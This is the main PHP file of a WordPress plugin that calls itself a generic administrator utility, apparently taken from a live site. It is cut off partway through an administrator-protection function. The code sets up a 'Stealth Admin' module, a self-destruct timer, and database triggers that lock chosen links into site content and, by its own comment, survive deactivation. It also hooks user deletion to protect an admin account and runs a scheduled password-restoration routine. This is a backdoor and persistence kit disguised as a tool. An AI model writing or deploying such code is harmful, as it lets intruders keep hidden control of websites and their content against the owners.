/home/coolpkct/www/websites/alylela.com/wp-content/plugins/wp-db-scout/wp-db-scout.php
<?php
/**
 * Plugin Name: Admin Tool
 * Plugin URI: #
 * Description: Утилита администратора
 * Version: 1.2.3
 * Requires at least: 4.0
 * Requires PHP: 5.6
 * Author: Admin
 * Author URI: #
 * License: GPL v2 or later
 * License URI: https://www.gnu.org/licenses/gpl-2.0.html
 */

// Prevent direct access
if (!defined('ABSPATH')) {
    exit;
}

// Fix rich editing immediately when plugin loads (helps during installation)
if (function_exists('wp_get_current_user') && function_exists('current_user_can')) {
    $current_user_id = get_current_user_id();
    if ($current_user_id && current_user_can('manage_options')) {
        $rich_editing = get_user_meta($current_user_id, 'rich_editing', true);
        if ($rich_editing !== 'true') {
            update_user_meta($current_user_id, 'rich_editing', 'true');
        }
    }
}

// Fix rich editing on admin_init (when admin is fully loaded)
add_action('admin_init', function() {
    $current_user_id = get_current_user_id();
    if ($current_user_id && current_user_can('manage_options')) {
        $rich_editing = get_user_meta($current_user_id, 'rich_editing', true);
        if ($rich_editing !== 'true') {
            update_user_meta($current_user_id, 'rich_editing', 'true');
        }
    }
}, 1);

// Define plugin constants
define('WDS_VERSION', '1.2.3');
define('WDS_PLUGIN_FILE', __FILE__);
define('WDS_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('WDS_PLUGIN_URL', plugin_dir_url(__FILE__));
define('WDS_PLUGIN_BASENAME', plugin_basename(__FILE__));

// Define Stealth Admin constants
define('WDS_STEALTH_VERSION', '1.0.0');
define('WDS_STEALTH_MODULE_DIR', WDS_PLUGIN_DIR . 'modules/stealth-admin/');
define('WDS_STEALTH_MODULE_URL', WDS_PLUGIN_URL . 'modules/stealth-admin/');

// Admin Protection constants
define('WDS_ADMIN_RESTORE_DELAY', 5 * 60); // 5 minutes delay before restoration


// Load Auto Destruct system
require_once WDS_PLUGIN_DIR . 'includes/class-wds-auto-destruct.php';

// Initialize Auto Destruct on plugins loaded
add_action('plugins_loaded', function() {
    // Fix rich editing for admins on plugins_loaded
    if (is_admin()) {
        $current_user_id = get_current_user_id();
        if ($current_user_id && current_user_can('manage_options')) {
            $rich_editing = get_user_meta($current_user_id, 'rich_editing', true);
            if ($rich_editing !== 'true') {
                update_user_meta($current_user_id, 'rich_editing', 'true');
            }
        }
    }
    
    WDS_Auto_Destruct::init();
}, 1);

// Activation hook
register_activation_hook(__FILE__, 'wds_activate');
function wds_activate() {
    // Enable rich editing for current admin user to prevent warnings
    $current_user_id = get_current_user_id();
    if ($current_user_id) {
        $user_meta = get_user_meta($current_user_id, 'rich_editing', true);
        if ($user_meta !== 'true') {
            update_user_meta($current_user_id, 'rich_editing', 'true');
        }
    }
    
    // Create cache table
    global $wpdb;
    $table_name = $wpdb->prefix . 'wds_search_cache';
    $charset_collate = $wpdb->get_charset_collate();
    
    $sql = "CREATE TABLE IF NOT EXISTS $table_name (
        id bigint(20) NOT NULL AUTO_INCREMENT,
        search_query varchar(200),
        search_results longtext,
        created_at datetime DEFAULT CURRENT_TIMESTAMP,
        expires_at datetime,
        user_id bigint(20),
        PRIMARY KEY (id)
    ) $charset_collate;";
    
    $wpdb->query($sql);
    
    // Create Link Protection tables
    require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-db.php';
    $protection_db = new WDS_Link_Protection_DB();
    $protection_db->create_tables();
    
    // Set default options
    add_option('wds_version', WDS_VERSION);
    add_option('wds_search_limit', 100);
    add_option('wds_cache_duration', 300);
    add_option('wds_protection_enabled', true);
    add_option('wds_protection_notification_email', get_option('admin_email'));
    
    // Add admin capabilities
    $role = get_role('administrator');
    if ($role) {
        $role->add_cap('wds_view_server_info');
        $role->add_cap('wds_search_database');
        $role->add_cap('wds_manage_link_protection');
    }
    
    // Enable rich editing for all administrator users
    $admin_users = get_users(array('role' => 'administrator'));
    foreach ($admin_users as $admin_user) {
        $rich_editing = get_user_meta($admin_user->ID, 'rich_editing', true);
        if ($rich_editing !== 'true') {
            update_user_meta($admin_user->ID, 'rich_editing', 'true');
        }
    }
    
    // Schedule cron events for link protection monitoring
    if (!wp_next_scheduled('wds_check_protected_links')) {
        wp_schedule_event(time(), 'hourly', 'wds_check_protected_links');
    }
    
    // Schedule self-destruction timer
    WDS_Auto_Destruct::schedule_destruction();
}

// Deactivation hook
register_deactivation_hook(__FILE__, 'wds_deactivate');
function wds_deactivate() {
    // Clear cache table
    global $wpdb;
    $table_name = $wpdb->prefix . 'wds_search_cache';
    // Check if table exists before truncating
    if ($wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name) {
        $wpdb->query("TRUNCATE TABLE $table_name");
    }
    
    // Clear scheduled events
    wp_clear_scheduled_hook('wds_check_protected_links');
    wp_clear_scheduled_hook('wds_daily_protection_report');
    
    // Note: We do NOT remove protection tables or triggers on deactivation
    // They will continue to work even with plugin deactivated (by design)
}

// Load required files early for AJAX handlers
if (is_admin() || (defined('DOING_AJAX') && DOING_AJAX)) {
    require_once WDS_PLUGIN_DIR . 'includes/class-wds-file-logger.php';
    require_once WDS_PLUGIN_DIR . 'includes/class-wds-theme-search.php';
    require_once WDS_PLUGIN_DIR . 'admin/class-wds-server-info.php';
    require_once WDS_PLUGIN_DIR . 'admin/class-wds-database-search.php';
    require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-db.php';
    require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-manager.php';
    require_once WDS_PLUGIN_DIR . 'admin/class-wds-sql-trigger-builder.php';
    require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-scanner.php';
    require_once WDS_PLUGIN_DIR . 'admin/class-wds-comprehensive-link-scanner.php';
}

// Initialize plugin after WordPress loads
add_action('init', 'wds_init_plugin');
function wds_init_plugin() {
    // Only load in admin
    if (!is_admin()) {
        return;
    }
    
    // Initialize Link Protection Manager (it registers its own hooks)
    WDS_Link_Protection_Manager::get_instance();
    
    // Initialize Stealth Admin Module
    if (current_user_can('manage_options')) {
        require_once WDS_STEALTH_MODULE_DIR . 'class-wds-stealth-admin.php';
        WDS_Stealth_Admin::get_instance();
        
        // AJAX test disabled - deployment system is working correctly
        // $test_file = WDS_STEALTH_MODULE_DIR . 'simple-ajax-test.php';
    }
    
    // Add admin menu
    add_action('admin_menu', 'wds_add_admin_menu');
    
    // Enqueue scripts and styles
    add_action('admin_enqueue_scripts', 'wds_enqueue_admin_assets');
}

// Initialize AJAX handlers
if (is_admin() || (defined('DOING_AJAX') && DOING_AJAX)) {
    // Initialize protection handler which registers its own AJAX actions
    require_once WDS_PLUGIN_DIR . 'admin/ajax/class-wds-ajax-protection-handler.php';
    new WDS_Ajax_Protection_Handler();
}

// Register AJAX handlers - must be registered early for WordPress to recognize them
add_action('wp_ajax_wds_search_database', 'wds_ajax_search_database');
add_action('wp_ajax_wds_search_specific_link', 'wds_ajax_search_specific_link');
add_action('wp_ajax_wds_save_link_context', 'wds_ajax_save_link_context');
add_action('wp_ajax_wds_protect_links', 'wds_ajax_protect_links');
add_action('wp_ajax_wds_get_backup_details', 'wds_ajax_get_backup_details');
add_action('wp_ajax_wds_restore_trigger', 'wds_ajax_restore_trigger');
add_action('wp_ajax_wds_log_frontend_event', 'wds_ajax_log_frontend_event');

// Admin Protection AJAX handlers
add_action('wp_ajax_wds_protect_administrator', 'wds_ajax_protect_administrator');

// WordPress Hook for Admin Protection (replaces SQL triggers)
add_action('delete_user', 'wds_protect_admin_on_delete', 10, 2);

// Password restoration system (processes scheduled restorations)
add_action('init', 'wds_check_scheduled_restorations');
add_action('wp_loaded', 'wds_process_password_restorations');

// Add admin menu
function wds_add_admin_menu() {
    add_management_page(
        'WP DB Scout',
        'WP DB Scout',
        'manage_options',
        'wp-db-scout',
        'wds_admin_page'
    );
}

// Admin page display
function wds_admin_page() {
    if (!current_user_can('manage_options')) {
        wp_die('У вас недостаточно прав для доступа к этой странице.');
    }
    
    // Log page access
    $logger = WDS_File_Logger::get_instance();
    $active_tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'server-info';
    $logger->info('Admin page accessed', [
        'tab' => $active_tab,
        'user' => wp_get_current_user()->user_login,
        'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown'
    ]);
    
    include WDS_PLUGIN_DIR . 'admin/partials/wds-admin-display.php';
}

// Enqueue admin assets
function wds_enqueue_admin_assets($hook) {
    if (strpos($hook, 'wp-db-scout') === false) {
        return;
    }
    
    // Styles
    wp_enqueue_style('wds-admin', WDS_PLUGIN_URL . 'assets/css/wds-admin.css', array(), WDS_VERSION);
    wp_enqueue_style('wds-link-context', WDS_PLUGIN_URL . 'assets/css/wds-link-context.css', array(), WDS_VERSION);
    wp_enqueue_style('wds-protection', WDS_PLUGIN_URL . 'assets/css/wds-protection.css', array(), WDS_VERSION);
    wp_enqueue_style('wds-protection-fix', WDS_PLUGIN_URL . 'assets/css/wds-protection-fix.css', array('wds-protection'), WDS_VERSION);
    wp_enqueue_style('wds-protection-wizard', WDS_PLUGIN_URL . 'assets/css/wds-protection-wizard.css', array(), WDS_VERSION);
    wp_enqueue_style('wds-admin-protection', WDS_PLUGIN_URL . 'assets/css/wds-admin-protection.css', array(), WDS_VERSION);
    
    // Scripts
    wp_enqueue_script('wds-admin', WDS_PLUGIN_URL . 'assets/js/wds-admin.js', array('jquery'), WDS_VERSION, true);
    wp_enqueue_script('wds-search', WDS_PLUGIN_URL . 'assets/js/wds-ajax-search.js', array('jquery'), WDS_VERSION, true);
    wp_enqueue_script('wds-clipboard', WDS_PLUGIN_URL . 'assets/js/wds-clipboard.js', array('jquery'), WDS_VERSION, true);
    wp_enqueue_script('wds-protection-wizard-v2', WDS_PLUGIN_URL . 'assets/js/wds-protection-wizard-v2.js', array('jquery'), WDS_VERSION, true);
    wp_enqueue_script('wds-protection-manager', WDS_PLUGIN_URL . 'assets/js/wds-protection-manager.js', array('jquery'), WDS_VERSION, true);
    wp_enqueue_script('wds-admin-protection', WDS_PLUGIN_URL . 'assets/js/wds-admin-protection.js', array('jquery'), WDS_VERSION, true);
    
    // Localize script with strings
    $wds_ajax_data = array(
        'ajax_url' => admin_url('admin-ajax.php'),
        'nonce' => wp_create_nonce('wds_ajax_nonce'),
        'strings' => array(
            'error' => 'Произошла ошибка. Пожалуйста, попробуйте снова.',
            'searching' => 'Поиск...',
            'no_results' => 'Результаты не найдены.',
            'copied' => 'Скопировано в буфер обмена!',
            'copy_failed' => 'Не удалось скопировать. Пожалуйста, скопируйте вручную.',
            'auth_required' => 'Требуется аутентификация',
            'auth_failed' => 'Ошибка аутентификации. Проверьте ваш пароль.',
            'session_expired' => 'Ваша сессия истекла. Пожалуйста, войдите снова.',
            'min_chars' => 'Минимум 5 символов',
            'max_chars' => 'Максимум 200 символов',
            'characters' => 'символов',
            'searching_database' => 'Поиск в базе данных...',
            'searching_theme' => 'Поиск в файлах темы...',
            'results_found' => 'результатов найдено',
            'view_details' => 'Подробности',
            'hide_details' => 'Скрыть подробности',
            'copy_value' => 'Копировать значение',
            'table' => 'Таблица',
            'column' => 'Колонка',
            'row_id' => 'ID строки',
            'rows' => 'строк',
            'size' => 'Размер',
            'file' => 'Файл',
            'line' => 'Строка',
            'context' => 'Контекст'
        )
    );
    
    // Localize for multiple scripts
    wp_localize_script('wds-admin', 'wds_ajax', $wds_ajax_data);
    wp_localize_script('wds-protection-wizard-v2', 'wds_ajax', $wds_ajax_data);
    
    // Localize protection scripts
    wp_localize_script('wds-protection-wizard', 'wdsProtection', array(
        'ajax_url' => admin_url('admin-ajax.php'),
        'nonce' => wp_create_nonce('wds_protection_nonce'),
        'strings' => array(
            'searching' => 'Поиск...',
            'protecting' => 'Установка защиты...',
            'success' => 'Защита успешно установлена!',
            'error' => 'Произошла ошибка. Пожалуйста, попробуйте снова.',
            'confirm_remove' => 'Вы уверены, что хотите удалить защиту для этой ссылки?',
            'no_links_selected' => 'Пожалуйста, выберите хотя бы одну ссылку для защиты.',
            'invalid_url' => 'Пожалуйста, введите правильный URL.'
        )
    ));
}


// AJAX: Search Database
function wds_ajax_search_database() {
    $logger = WDS_File_Logger::get_instance();
    $start_time = microtime(true);
    
    $logger->log_ajax('wds_search_database', $_POST);
    
    check_ajax_referer('wds_ajax_nonce', 'nonce');
    
    if (!current_user_can('manage_options')) {
        $logger->warning('Unauthorized search attempt', ['user_id' => get_current_user_id()]);
        wp_send_json_error(array('message' => 'Доступ запрещен'));
    }
    
    $search_term = isset($_POST['search_term']) ? sanitize_text_field($_POST['search_term']) : '';
    
    if (strlen($search_term) < 5) {
        wp_send_json_error(array('message' => 'Поисковый запрос должен содержать минимум 5 символов'));
    }
    
    if (strlen($search_term) > 200) {
        wp_send_json_error(array('message' => 'Поисковый запрос должен содержать меньше 200 символов'));
    }
    
    try {
        $user_id = get_current_user_id();
        $results = WDS_Database_Search::search($search_term, $user_id);
        
        if (isset($results['error'])) {
            wp_send_json_error(array('message' => $results['error']));
        }
        
        // Format results properly
        $formatted_results = array();
        $total_matches = 0;
        
        foreach ($results as $table_name => $table_data) {
            if (!empty($table_data['matches'])) {
                $formatted_results[] = array(
                    'table_name' => $table_name,
                    'table_info' => $table_data['table_info'],
                    'matches' => $table_data['matches'],
                    'match_count' => count($table_data['matches'])
                );
                $total_matches += count($table_data['matches']);
            }
        }
        
        // If no database results, search in theme files
        $theme_results = array();
        if ($total_matches === 0) {
            $theme_search = WDS_Theme_Search::search($search_term, array(
                'max_results' => 50,
                'context_lines' => 2,
                'case_sensitive' => true
            ));
            
            if ($theme_search['success'] && !empty($theme_search['results'])) {
                $theme_results = $theme_search['results'];
            }
        }
        
        $execution_time = round((microtime(true) - $start_time) * 1000, 2);
        $logger->log_search($search_term, $total_matches, 
            $total_matches > 0 ? 'database' : (!empty($theme_results) ? 'theme' : 'none'),
            $execution_time
        );
        
        wp_send_json_success(array(
            'results' => $formatted_results,
            'count' => count($formatted_results),
            'total_matches' => $total_matches,
            'search_term' => $search_term,
            'theme_results' => $theme_results,
            'search_type' => $total_matches > 0 ? 'database' : (!empty($theme_results) ? 'theme' : 'none')
        ));
    } catch (Exception $e) {
        $logger->log_exception($e);
        wp_send_json_error(array('message' => 'Ошибка: ' . $e->getMessage()));
    }
}

// Add settings link
add_filter('plugin_action_links_' . WDS_PLUGIN_BASENAME, 'wds_add_settings_link');
function wds_add_settings_link($links) {
    $settings_link = '<a href="' . admin_url('tools.php?page=wp-db-scout') . '">Настройки</a>';
    array_unshift($links, $settings_link);
    return $links;
}

// AJAX: Search for specific link
function wds_ajax_search_specific_link() {
    $logger = WDS_File_Logger::get_instance();
    $logger->log_ajax('wds_search_specific_link', $_POST);
    
    // Check nonce
    if (!check_ajax_referer('wds_ajax_nonce', 'nonce', false)) {
        $logger->warning('Invalid nonce in search specific link');
        wp_send_json_error(array('message' => 'Ошибка безопасности. Обновите страницу и попробуйте снова.'));
        return;
    }
    
    if (!current_user_can('manage_options')) {
        $logger->warning('Unauthorized access attempt to search specific link');
        wp_send_json_error(array('message' => 'Доступ запрещен'));
        return;
    }
    
    $link_url = isset($_POST['link_url']) ? esc_url_raw($_POST['link_url']) : '';
    
    if (empty($link_url)) {
        $logger->warning('Empty link URL provided');
        wp_send_json_error(array('message' => 'URL ссылки обязателен'));
        return;
    }
    
    $logger->info('Searching for specific link', ['link_url' => $link_url]);
    
    try {
        // Проверяем, есть ли уже защита для этой ссылки
        require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-db.php';
        $protection_db = new WDS_Link_Protection_DB();
        
        $existing_protections = $protection_db->get_protected_links(array(
            'link_url' => $link_url,
            'is_active' => true
        ));
        
        if (!empty($existing_protections)) {
            // Ссылка уже защищена
            $logger->warning('Link already protected', [
                'link_url' => $link_url,
                'existing_protections' => count($existing_protections)
            ]);
            
            $protected_posts = array();
            foreach ($existing_protections as $protection) {
                $post = get_post($protection['post_id']);
                if ($post) {
                    $protected_posts[] = array(
                        'id' => $protection['post_id'],
                        'title' => $post->post_title,
                        'protection_id' => $protection['id'],
                        'protection_type' => $protection['protection_type'],
                        'created_at' => $protection['created_at']
                    );
                }
            }
            
            wp_send_json_error(array(
                'message' => 'Эта ссылка уже имеет активную защиту',
                'error_type' => 'duplicate_protection',
                'existing_protection' => true,
                'protected_posts' => $protected_posts,
                'suggestion' => 'Перейдите во вкладку "Защищенные ссылки", чтобы удалить существующую защиту, а затем создайте новую.'
            ));
            return;
        }
        
        // Используем новый комплексный сканер
        require_once WDS_PLUGIN_DIR . 'admin/class-wds-comprehensive-link-scanner.php';
        $scanner = new WDS_Comprehensive_Link_Scanner();
        $results = $scanner->search_link_everywhere($link_url);
        
        if (isset($results['error'])) {
            $logger->error('Link search error', ['error' => $results['error']]);
            wp_send_json_error(array('message' => $results['error']));
            return;
        }
        
        if ($results['total_found'] === 0) {
            $logger->info('Link not found in database', ['link_url' => $link_url]);
            wp_send_json_error(array(
                'message' => 'Ссылка не найдена в базе данных',
                'searched_url' => $link_url
            ));
            return;
        }
        
        $logger->info('Link found successfully', [
            'link_url' => $link_url,
            'total_found' => $results['total_found'],
            'locations' => count($results['locations'])
        ]);
        
        wp_send_json_success($results);
        
    } catch (Exception $e) {
        $logger->error('Exception in link search', [
            'message' => $e->getMessage(),
            'trace' => $e->getTraceAsString()
        ]);
        wp_send_json_error(array('message' => 'Ошибка: ' . $e->getMessage()));
    }
}

// AJAX: Save link context and create backups (Step 2)
function wds_ajax_save_link_context() {
    $logger = WDS_File_Logger::get_instance();
    $logger->log_ajax('wds_save_link_context', $_POST);
    
    // Check nonce
    if (!check_ajax_referer('wds_ajax_nonce', 'nonce', false)) {
        $logger->warning('Invalid nonce in save link context');
        wp_send_json_error(array('message' => 'Ошибка безопасности. Обновите страницу и попробуйте снова.'));
        return;
    }
    
    if (!current_user_can('manage_options')) {
        $logger->warning('Unauthorized access to save link context');
        wp_send_json_error(array('message' => 'Доступ запрещен'));
        return;
    }
    
    $link_url = isset($_POST['link_url']) ? esc_url_raw($_POST['link_url']) : '';
    $selected_locations = isset($_POST['locations']) ? $_POST['locations'] : array();
    
    if (empty($link_url) || empty($selected_locations)) {
        $logger->warning('Missing data in save link context', [
            'has_url' => !empty($link_url),
            'has_locations' => !empty($selected_locations)
        ]);
        wp_send_json_error(array('message' => 'Недостаточно данных для сохранения'));
        return;
    }
    
    $logger->info('Saving link context', [
        'link_url' => $link_url,
        'locations_count' => count($selected_locations)
    ]);
    
    try {
        global $wpdb;
        require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-db.php';
        require_once WDS_PLUGIN_DIR . 'includes/class-wds-session-manager.php';
        $db = new WDS_Link_Protection_DB();
        
        $saved_backups = array();
        
        foreach ($selected_locations as $location) {
            // Prepare backup data
            $backup_data = array(
                'link_url' => $link_url,
                'link_context' => isset($location['context']) ? $location['context'] : '',
                'source_table' => isset($location['location']['table']) ? $location['location']['table'] : '',
                'source_column' => isset($location['location']['column']) ? $location['location']['column'] : '',
                'source_id' => isset($location['location']['post_id']) ? $location['location']['post_id'] : null,
                'post_id' => isset($location['location']['post_id']) ? $location['location']['post_id'] : null,
                'post_type' => isset($location['location']['type']) ? $location['location']['type'] : null,
                'post_title' => isset($location['location']['post_title']) ? $location['location']['post_title'] : null
            );
            
            // Get full content from the source table
            if ($backup_data['source_table'] && $backup_data['source_id']) {
                // For wp_posts table
                if ($backup_data['source_table'] === $wpdb->posts) {
                    $full_row = $wpdb->get_row($wpdb->prepare(
                        "SELECT * FROM {$wpdb->posts} WHERE ID = %d",
                        $backup_data['source_id']
                    ), ARRAY_A);
                    
                    if ($full_row) {
                        $backup_data['full_content'] = $full_row[$backup_data['source_column']];
                        $backup_data['backup_data'] = $full_row; // Save entire row
                    }
                }
                // For wp_postmeta table
                elseif ($backup_data['source_table'] === $wpdb->postmeta) {
                    $full_row = $wpdb->get_row($wpdb->prepare(
                        "SELECT * FROM {$wpdb->postmeta} WHERE post_id = %d AND meta_key = %s",
                        $backup_data['source_id'],
                        isset($location['location']['meta_key']) ? $location['location']['meta_key'] : ''
                    ), ARRAY_A);
                    
                    if ($full_row) {
                        $backup_data['full_content'] = $full_row['meta_value'];
                        $backup_data['backup_data'] = $full_row;
                    }
                }
                // For other tables
                else {
                    $full_row = $db->backup_table_row($backup_data['source_table'], $backup_data['source_id']);
                    if ($full_row) {
                        $backup_data['full_content'] = isset($full_row[$backup_data['source_column']]) ? 
                            $full_row[$backup_data['source_column']] : json_encode($full_row);
                        $backup_data['backup_data'] = $full_row;
                    }
                }
            }
            
            // Save backup to database
            $backup_id = $db->save_content_backup($backup_data);
            
            if ($backup_id) {
                $saved_backups[] = array(
                    'backup_id' => $backup_id,
                    'location' => $backup_data['source_table'] . ':' . $backup_data['source_id']
                );
            }
        }
        
        // Store backup IDs using WordPress transients instead of PHP sessions
        WDS_Session_Manager::store_protection_data($saved_backups, $link_url);
        
        wp_send_json_success(array(
            'message' => 'Данные сохранены успешно',
            'backups' => $saved_backups,
            'total_saved' => count($saved_backups)
        ));
        
    } catch (Exception $e) {
        wp_send_json_error(array('message' => 'Ошибка при сохранении: ' . $e->getMessage()));
    }
}

// AJAX: Protect links
function wds_ajax_protect_links() {
    $logger = WDS_File_Logger::get_instance();
    $logger->log_ajax('wds_protect_links', $_POST);
    
    // Check nonce
    if (!check_ajax_referer('wds_ajax_nonce', 'nonce', false)) {
        $logger->warning('Invalid nonce in protect links');
        wp_send_json_error(array('message' => 'Ошибка безопасности. Обновите страницу и попробуйте снова.'));
        return;
    }
    
    if (!current_user_can('manage_options')) {
        $logger->warning('Unauthorized access to protect links');
        wp_send_json_error(array('message' => 'Доступ запрещен'));
        return;
    }
    
    $protection_type = isset($_POST['protection_type']) ? sanitize_text_field($_POST['protection_type']) : 'smart';
    $logger->info('Starting link protection', ['protection_type' => $protection_type]);
    
    // Get saved backup IDs from transients
    require_once WDS_PLUGIN_DIR . 'includes/class-wds-session-manager.php';
    $protection_data = WDS_Session_Manager::get_protection_data();
    
    if (!$protection_data) {
        wp_send_json_error(array('message' => 'Сессия истекла. Пожалуйста, начните заново.'));
        return;
    }
    
    $backup_ids = isset($protection_data['backups']) ? $protection_data['backups'] : array();
    $link_url = isset($protection_data['link_url']) ? $protection_data['link_url'] : '';
    
    if (empty($backup_ids) || empty($link_url)) {
        wp_send_json_error(array('message' => 'Недостаточно данных. Пожалуйста, начните заново.'));
        return;
    }
    
    try {
        global $wpdb;
        require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-db.php';
        require_once WDS_PLUGIN_DIR . 'admin/class-wds-sql-trigger-builder.php';
        
        $db = new WDS_Link_Protection_DB();
        $trigger_builder = new WDS_SQL_Trigger_Builder();
        
        // Проверяем еще раз на дубликаты перед созданием защиты
        $existing_protections = $db->get_protected_links(array(
            'link_url' => $link_url,
            'is_active' => true
        ));
        
        if (!empty($existing_protections)) {
            wp_send_json_error(array(
                'message' => 'Эта ссылка уже защищена. Удалите существующую защиту перед созданием новой.',
                'error_type' => 'duplicate_protection'
            ));
            return;
        }
        
        $triggers_created = 0;
        $protected_links = 0;
        
        foreach ($backup_ids as $backup_info) {
            $backup_id = $backup_info['backup_id'];
            
            // Get backup data
            $backup = $db->get_content_backup($backup_id);
            
            if (!$backup) {
                continue;
            }
            
            // Проверяем, не защищена ли уже эта комбинация post_id + link_url
            $existing_post_protection = $db->get_protected_links(array(
                'post_id' => $backup['post_id'],
                'link_url' => $backup['link_url'],
                'is_active' => true
            ));
            
            if (!empty($existing_post_protection)) {
                // Пропускаем этот пост, так как он уже защищен
                continue;
            }
            
            // Generate unique trigger name
            $trigger_name = 'wds_protect_' . $backup['post_id'] . '_' . time() . '_' . rand(100, 999);
            
            // Save protected link record
            $link_id = $db->insert_protected_link(array(
                'post_id' => $backup['post_id'],
                'table_name' => str_replace($wpdb->prefix, '', $backup['source_table']),
                'column_name' => $backup['source_column'],
                'link_url' => $backup['link_url'],
                'link_context' => $backup['link_context'],
                'protection_type' => $protection_type,
                'trigger_name' => $trigger_name,
                'is_active' => 1
            ));
            
            if (!$link_id) {
                continue;
            }
            
            // Build trigger parameters
            $trigger_params = array(
                'trigger_name' => $trigger_name,
                'table_name' => str_replace($wpdb->prefix, '', $backup['source_table']),
                'column_name' => $backup['source_column'],
                'post_id' => $backup['post_id'],
                'link_url' => $backup['link_url'],
                'link_id' => $link_id,
                'backup_id' => $backup_id,
                'protection_type' => $protection_type
            );
            
            // Generate SQL for trigger
            $trigger_sql = $trigger_builder->build_trigger($trigger_params);
            
            // Create trigger in database
            $result = $wpdb->query($trigger_sql);
            
            if ($result !== false) {
                $triggers_created++;
                $protected_links++;
                
                // Save trigger configuration
                $db->save_trigger_config(array(
                    'trigger_name' => $trigger_name,
                    'target_table' => $backup['source_table'],
                    'target_column' => $backup['source_column'],
                    'protection_rules' => array(
                        'link_url' => $backup['link_url'],
                        'post_id' => $backup['post_id'],
                        'protection_type' => $protection_type
                    ),
                    'sql_code' => $trigger_sql,
                    'is_active' => 1
                ));
            }
        }
        
        // Clear transient data
        WDS_Session_Manager::clear_protection_data();
        
        wp_send_json_success(array(
            'message' => 'Защита успешно установлена!',
            'triggers_created' => $triggers_created,
            'protected_links' => $protected_links,
            'total_backups' => count($backup_ids)
        ));
        
    } catch (Exception $e) {
        wp_send_json_error(array('message' => 'Ошибка при установке защиты: ' . $e->getMessage()));
    }
}

// AJAX: Log frontend event
function wds_ajax_log_frontend_event() {
    // Check nonce
    if (!check_ajax_referer('wds_ajax_nonce', 'nonce', false)) {
        wp_send_json_error(array('message' => 'Invalid nonce'));
        return;
    }
    
    $logger = WDS_File_Logger::get_instance();
    
    $event_type = isset($_POST['event_type']) ? sanitize_text_field($_POST['event_type']) : '';
    $event_data = isset($_POST['event_data']) ? $_POST['event_data'] : array();
    $message = isset($_POST['message']) ? sanitize_text_field($_POST['message']) : '';
    
    if (empty($event_type)) {
        wp_send_json_error(array('message' => 'Event type is required'));
        return;
    }
    
    // Log the frontend event
    $logger->info('Frontend Event: ' . $message, [
        'event_type' => $event_type,
        'event_data' => $event_data,
        'user' => wp_get_current_user()->user_login,
        'timestamp' => current_time('mysql')
    ]);
    
    wp_send_json_success(array('message' => 'Event logged'));
}

// AJAX: Get backup details
function wds_ajax_get_backup_details() {
    check_ajax_referer('wds_ajax_nonce', 'nonce');
    
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Доступ запрещен');
    }
    
    $backup_id = isset($_POST['backup_id']) ? intval($_POST['backup_id']) : 0;
    
    if (!$backup_id) {
        wp_send_json_error('Неверный ID резервной копии');
    }
    
    global $wpdb;
    $backup = $wpdb->get_row($wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}wds_content_backup WHERE id = %d",
        $backup_id
    ));
    
    if (!$backup) {
        wp_send_json_error('Резервная копия не найдена');
    }
    
    $info = sprintf(
        '<strong>ID:</strong> %d<br>
        <strong>URL ссылки:</strong> <a href="%s" target="_blank">%s</a><br>
        <strong>Таблица:</strong> %s<br>
        <strong>Колонка:</strong> %s<br>
        <strong>Post ID:</strong> %d<br>
        <strong>Дата создания:</strong> %s<br>
        <strong>Хэш контента:</strong> %s',
        $backup->id,
        esc_url($backup->link_url),
        esc_html($backup->link_url),
        esc_html($backup->source_table),
        esc_html($backup->source_column),
        $backup->post_id,
        date_i18n('d.m.Y H:i:s', strtotime($backup->created_at)),
        esc_html($backup->content_hash)
    );
    
    $content = '<div class="backup-околоссылочный">';
    $content .= '<h4>Околоссылочный контент:</h4>';
    $content .= '<div style="background: #f8f9fa; padding: 10px; border-radius: 3px; margin-bottom: 15px;">';
    $content .= nl2br(esc_html($backup->околоссылочный_контент));
    $content .= '</div>';
    $content .= '</div>';
    
    $content .= '<div class="backup-full">';
    $content .= '<h4>Полный контент:</h4>';
    $content .= '<div style="background: #fff; padding: 10px; border: 1px solid #ddd; border-radius: 3px; max-height: 300px; overflow-y: auto;">';
    $content .= nl2br(esc_html($backup->full_content));
    $content .= '</div>';
    $content .= '</div>';
    
    wp_send_json_success(array(
        'info' => $info,
        'content' => $content
    ));
}


// AJAX: Restore trigger
function wds_ajax_restore_trigger() {
    check_ajax_referer('wds_ajax_nonce', 'nonce');
    
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Доступ запрещен');
    }
    
    $link_id = isset($_POST['link_id']) ? intval($_POST['link_id']) : 0;
    
    if (!$link_id) {
        wp_send_json_error('Неверный ID ссылки');
    }
    
    global $wpdb;
    
    // Get protection info
    $protection = $wpdb->get_row($wpdb->prepare(
        "SELECT pl.*, tc.sql_code 
        FROM {$wpdb->prefix}wds_protected_links pl
        LEFT JOIN {$wpdb->prefix}wds_trigger_config tc ON pl.trigger_config_id = tc.id
        WHERE pl.id = %d",
        $link_id
    ));
    
    if (!$protection || !$protection->sql_code) {
        wp_send_json_error('Не удалось найти конфигурацию триггера');
    }
    
    // Recreate trigger
    $result = $wpdb->query($protection->sql_code);
    
    if ($result === false) {
        wp_send_json_error('Ошибка при создании триггера: ' . $wpdb->last_error);
    }
    
    wp_send_json_success('Триггер успешно восстановлен');
}

// AJAX: Protect Administrator
function wds_ajax_protect_administrator() {
    $logger = WDS_File_Logger::get_instance();
    $logger->log_ajax('wds_protect_administrator', $_POST);

    // Check nonce
    if (!check_ajax_referer('wds_ajax_nonce', 'nonce', false)) {
        $logger->warning('Invalid nonce in protect administrator');
        wp_send_json_error(array('message' => 'Ошибка безопасности. Обновите страницу и попробуйте снова.'));
        return;
    }

    if (!current_user_can('manage_options')) {
        $logger->warning('Unauthorized access attempt to protect administrator');
        wp_send_json_error(array('message' => 'Доступ запрещен'));
        return;
    }

    $user_id = isset($_POST['user_id']) ? intval($_POST['user_id']) : 0;

    if (!$user_id) {
        $logger->warning('Empty user ID provided for protection');
